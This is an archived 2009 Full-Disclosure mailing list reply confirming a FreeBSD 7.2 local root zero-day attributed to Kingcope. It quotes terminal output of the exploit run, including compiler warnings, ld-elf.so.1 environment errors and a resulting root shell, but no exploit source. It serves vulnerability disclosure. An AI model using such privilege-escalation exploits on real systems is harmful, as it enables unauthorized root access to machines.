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Open Source and information security mailing list archives
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Date: Mon, 30 Nov 2009 19:16:41 -0500 From: Cody Robertson <cody@...khost.com> Cc: full-disclosure@...ts.grok.org.uk Subject: Re: ** FreeBSD local r00t zeroday -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Nov 30, 2009, at 6:31 PM, phantomcircuit wrote: > Confirmed on 7.2-RELEASE-p4 fully patched according to freebsd-update. > > %sh exploit.sh > Desktop env env.c exploit exploit.c exploit.sh payload.c payload.o > private program.c program.o public public_html run.sh w00t.so.1.0 > FreeBSD local r00t zeroday > by Kingcope > November 2009 > env.c: In function 'main': > env.c:5: warning: incompatible implicit declaration of built-in > function > 'malloc' > env.c:9: warning: incompatible implicit declaration of built-in > function > 'strcpy' > env.c:11: warning: incompatible implicit declaration of built-in > function 'execl' > /libexec/ld-elf.so.1: environment corrupt; missing value for > /libexec/ld-elf.so.1: environment corrupt; missing value for > /libexec/ld-elf.so.1: environment corrupt; missing value for > /libexec/ld-elf.so.1: environment corrupt; missing value for > /libexec/ld-elf.so.1: environment corrupt; missing value for > ALEX-ALEX > # id > uid=1001(phantomcircuit) gid=20(staff) euid=0(root) > groups=20(staff),0(wheel) > # uname -a > FreeBSD phantomcircuit.mine.nu 7.2-RELEASE-p4 FreeBSD 7.2-RELEASE-p4 > #0: > Fri Oct 2 12:21:39 UTC 2009 > root@...6-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 > # > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ 7.2-RELEASE [codyr@...o ~]$ ./env /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for ALEX-ALEX # -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iEYEARECAAYFAksUYGkACgkQAr2PPaFwRupDPQCcDtqiPyNof9ST2gLjJBw8pNMM nMQAn0ynrghE5hrzeuIWVIdZg5N5N1hT =HN3D -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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